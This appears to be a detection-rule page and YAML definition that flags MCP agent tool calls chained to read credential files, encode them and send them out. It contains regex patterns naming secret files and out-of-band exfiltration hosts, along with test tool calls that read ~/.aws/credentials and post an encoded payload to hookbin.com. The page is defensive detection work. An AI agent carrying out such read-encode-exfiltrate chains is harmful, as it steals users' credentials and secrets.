Skip to content
Agent Threat Rules (ATR)中文
ΒSkill Compromise
ATR-2026-00063
Recorded 2026-03-08 · Author ATR Community

Multi-Skill Chain Attack

Detects attack sequences where multiple MCP skills are chained together to achieve a malicious outcome that no single skill could accomplish alone.

skill chain · pattern · confidence: medium

Severity
critical
Lanes
alert · huntmarks and reports a match
Maturity
testnot yet settled
Scan target
mcp
Status
experimental

Framework mappings

OWASP Agentic Top 10
  • ASI02:2026
OWASP LLM Top 10
  • LLM03:2025
  • LLM06:2025

ATR wrote these mappings. The framework owners have not reviewed or endorsed them.

Description

Detects attack sequences where multiple MCP skills are chained together to achieve a malicious outcome that no single skill could accomplish alone. For example: (1) a reconnaissance skill reads sensitive files, (2) an encoding skill obfuscates the data, (3) a network skill exfiltrates it. Each step appears benign individually but the chain constitutes data exfiltration.

Suggested responsealertsnapshotescalate
Author: ATR Community · Created 2026-03-08 · Last modified 2026-11-20

Tested in the wild

Validated
2026-04-08
Samples
53,577

Detection conditions

Combinator: any
  1. 01
    Sensitive file/credential access patterns (path-specific, not bare word 'credentials')
    field: tool_argsop: regex
  2. 02
    field: tool_argsop: regex
  3. 03
    Known out-of-band exfiltration endpoints. `oast` carried no word boundary, so it matched inside ordinary English — roast, toast, coast, boast, roasts — on a critical rule whose response is block_tool + escalate. Bounded with \b rather than the lookbehind used by the first condition, because \b is RE2-native and lookaround is not: scripts/gate-re2-portability.ts fails a rule that newly needs backtracking, and downstream Go/Rust/Sigma consumers drop it outright. oast.fun / oast.pro / bare OAST still match — `.` and end-of-string are both word boundaries.
    field: tool_argsop: regex
  4. 04
    field: tool_nameop: regex
  5. 05
    Dotenv file access ONLY when chained with an obfuscation-or-egress indicator in the same args (multi-step access-then-obfuscate-then-egress chain). A bare startup-style dotenv reference no longer fires alone; the dangerous egress half is now required to flag this composite data-egress signal. Anchored with ^: the pattern is two lookaheads that each begin with [\s\S]*, so if both hold at some offset they also hold at offset 0, but unanchored the engine retried both scans from every start offset, which is quadratic in input length (each doubling took about four times as long: in V8 0.8s at 32K chars, 3.4s at 64K) and was 16% of all CPU in the benign-corpus FP scan. Anchored it is linear and returns the same verdict for every input.
    field: tool_argsop: regex

Attacks it catches

  1. Matches: reading sensitive credential file
    tool_name: file_reader
    tool_args: '{"path": "/home/user/.aws/credentials"}'
  2. Matches: sending data to known exfiltration endpoint
    tool_name: send_webhook
    tool_args: '{"url": "https://hookbin.com/abc123", "data": "encoded_payload"}'

Attack examples the rule must catch, many based on reported attacks and some written to match their shape. They are versioned with the rule as regression tests. If a later revision stops catching one, it shows.

Benign inputs it leaves alone

  1. tool_name: file_reader
    tool_args: '{"path": "/home/user/documents/report.pdf"}'
  2. tool_name: email_sender
    tool_args: '{"to": "[email protected]", "subject": "Meeting notes"}'

Known false positives

  • ▸Legitimate backup or migration workflows that read, compress, and transfer files
  • ▸CI/CD pipelines that encode artifacts for deployment
  • ▸Monitoring tools that send alerts via webhooks
title: "Multi-Skill Chain Attack"
id: ATR-2026-00063
rule_version: 2
status: experimental
description: >
  Detects attack sequences where multiple MCP skills are chained together to achieve
  a malicious outcome that no single skill could accomplish alone. For example:
  (1) a reconnaissance skill reads sensitive files, (2) an encoding skill obfuscates
  the data, (3) a network skill exfiltrates it. Each step appears benign individually
  but the chain constitutes data exfiltration.
author: "ATR Community"
date: "2026/03/08"
schema_version: "0.1"
detection_tier: pattern
maturity: test
severity: critical

references:
  owasp_llm:
    - "LLM03:2025"
    - "LLM06:2025"
  owasp_agentic:
    - "ASI02:2026"
  mitre_atlas:
    - "AML.T0024 - Exfiltration via AI Inference API"
    - "AML.T0053 - AI Agent Tool Invocation"

compliance:
  nist_ai_rmf:
    - subcategory: "MP.5.1"
      context: "Multi-skill chain attacks combine individually benign tool calls into a composite exfiltration or compromise sequence; MP.5.1 requires characterizing the likelihood and magnitude of impact for these emergent risks that only manifest when steps are correlated across skills."
      strength: primary
    - subcategory: "MG.2.3"
      context: "Detection of reconnaissance-then-encode-then-exfiltrate skill chains must trigger pre-defined risk treatment to disengage or quarantine the orchestration before the final exfiltration step completes; MG.2.3 mandates these supersede/deactivate mechanisms are in place."
      strength: secondary
    - subcategory: "GV.6.1"
      context: "Skill chains often span third-party MCP tools whose composed behavior is not covered by individual supplier risk reviews; GV.6.1 requires policies that address third-party AI/tool risks including emergent misuse across multiple suppliers."
      strength: secondary
    - subcategory: "MS.2.7"
      context: "NIST AI RMF MEASURE 2.7 (security and resilience evaluated and documented) is supported by this rule's runtime detection of the skill supply-chain compromise (Multi-Skill Chain Attack)."
Show all (122 more lines)
      strength: primary
    - subcategory: "MG.3.1"
      context: "NIST AI RMF MANAGE 3.1 (third-party resources regularly monitored) is supported where this rule detects the skill supply-chain compromise (Multi-Skill Chain Attack)."
      strength: secondary
    - subcategory: "MG.3.2"
      context: "NIST AI RMF MANAGE 3.2 (pre-trained models monitored as part of maintenance) is supported where this rule detects the skill supply-chain compromise (Multi-Skill Chain Attack)."
      strength: secondary
  iso_42001:
    - clause: "8.1"
      context: "ISO/IEC 42001 Clause 8.1 (operational planning and control, including control of externally provided processes) is operationalised by this rule's detection of the skill supply-chain compromise (Multi-Skill Chain Attack)."
      strength: primary
    - clause: "8.3"
      context: "ISO/IEC 42001 Clause 8.3 (AI risk treatment) is supported by this rule, which implements runtime detection of the skill supply-chain compromise (Multi-Skill Chain Attack) as a treatment control."
      strength: secondary
  eu_ai_act:
    - article: "15"
      context: "Article 15 (accuracy, robustness and cybersecurity) requires high-risk AI systems to resist unauthorised attempts to alter their use, outputs or performance; this rule provides runtime detection evidence by flagging the skill supply-chain compromise (Multi-Skill Chain Attack)."
      strength: primary
    - article: "9"
      context: "Article 9 (risk management system) requires identified risks to be addressed by appropriate measures; this rule is a runtime risk-treatment control that detects the skill supply-chain compromise (Multi-Skill Chain Attack)."
      strength: secondary
tags:
  category: tool-poisoning
  subcategory: skill-chain
  scan_target: mcp
  confidence: medium

agent_source:
  type: tool_call
  framework:
    - mcp
    - langchain
    - crewai
    - autogen
  provider:
    - any

detection:
  conditions:
    - field: tool_args
      operator: regex
      value: "(?i)(/etc/passwd|/etc/shadow|(?<![a-z])\\.aws/credentials|secrets?\\.json|private[_-]?key|id_rsa|kubeconfig)"
      description: "Sensitive file/credential access patterns (path-specific, not bare word 'credentials')"
    - field: tool_args
      operator: regex
      value: '(?i)(?:base64|btoa|encodeURI|hex\.encode|rot13|xor|compress|gzip|deflate|encrypt)[^\n]{0,80}(?:\.env\b|\bsecrets?\b|\btokens?\b|\bpasswords?\b|api[_-]?keys?|credentials?|id_rsa|private[_-]?key)'
    - field: tool_args
      operator: regex
      value: '(?i)(webhook\.site|ngrok|requestbin|pipedream|hookbin|burpcollaborator|interact\.sh|\boast\b)'
      description: >-
        Known out-of-band exfiltration endpoints. `oast` carried no word boundary, so
        it matched inside ordinary English — roast, toast, coast, boast, roasts — on a
        critical rule whose response is block_tool + escalate. Bounded with \b rather
        than the lookbehind used by the first condition, because \b is RE2-native and
        lookaround is not: scripts/gate-re2-portability.ts fails a rule that newly
        needs backtracking, and downstream Go/Rust/Sigma consumers drop it outright.
        oast.fun / oast.pro / bare OAST still match — `.` and end-of-string are both
        word boundaries.
    - field: tool_name
      operator: regex
      value: "(?i)(send[_-]?(email|message|webhook|http|request)|upload|post[_-]?data|transmit|exfil)"
    - field: tool_args
      operator: regex
      value: '(?i)^(?=[\s\S]*(?<![a-z])\.env)(?=[\s\S]*(base64|btoa|encodeURI|hex\.encode|rot13|xor|compress|gzip|deflate|encrypt|webhook|ngrok|requestbin|pipedream|hookbin|burpcollaborator|interact\.sh|\boast\b|curl|wget|\bnc\b|exfil|upload))'
      description: >-
        Dotenv file access ONLY when chained with an obfuscation-or-egress indicator in
        the same args (multi-step access-then-obfuscate-then-egress chain). A bare
        startup-style dotenv reference no longer fires alone; the dangerous egress half
        is now required to flag this composite data-egress signal. Anchored with ^: the
        pattern is two lookaheads that each begin with [\s\S]*, so if both hold at some
        offset they also hold at offset 0, but unanchored the engine retried both scans
        from every start offset, which is quadratic in input length (each doubling took
        about four times as long: in V8 0.8s at 32K chars, 3.4s at 64K) and was 16% of
        all CPU in the benign-corpus FP scan. Anchored it is linear and returns the same
        verdict for every input.
  condition: any
  false_positives:
    - "Legitimate backup or migration workflows that read, compress, and transfer files"
    - "CI/CD pipelines that encode artifacts for deployment"
    - "Monitoring tools that send alerts via webhooks"

response:
  actions:
    - alert
    - snapshot
    - escalate
  actions_rationale: >-
    response-action eligibility (docs/RESPONSE-ACTION-ELIGIBILITY.md): benign FP 637/5352 =
    11.90% (partial measurement — a lower bound) exceeds the 2% automatic-demotion line; ceiling
    = observe. Removed block_tool(interrupt). Detection unchanged — recall cost is zero.
  auto_response_threshold: high
  message_template: >
    [ATR-2026-063] Potential skill chain attack detected. Tool call appears to be
    part of a multi-step attack sequence (reconnaissance -> encoding -> exfiltration).
    Review the full session tool call history.

confidence: 53
wild_validated: "2026/04/08"
wild_samples: 53577
test_cases:
  true_positives:
    - input:
        tool_name: "file_reader"
        tool_args: '{"path": "/home/user/.aws/credentials"}'
      expected: triggered
      matched_condition: "reading sensitive credential file"
    - input:
        tool_name: "send_webhook"
        tool_args: '{"url": "https://hookbin.com/abc123", "data": "encoded_payload"}'
      expected: triggered
      matched_condition: "sending data to known exfiltration endpoint"
  true_negatives:
    - input:
        tool_name: "file_reader"
        tool_args: '{"path": "/home/user/documents/report.pdf"}'
      expected: not_triggered
      reason: "Reading a normal user document"
    - input:
        tool_name: "email_sender"
        tool_args: '{"to": "[email protected]", "subject": "Meeting notes"}'
      expected: not_triggered
      reason: "Sending normal business email"

Revision history

Created
2026-03-08
Last modified
2026-11-20
Full commit history on GitHub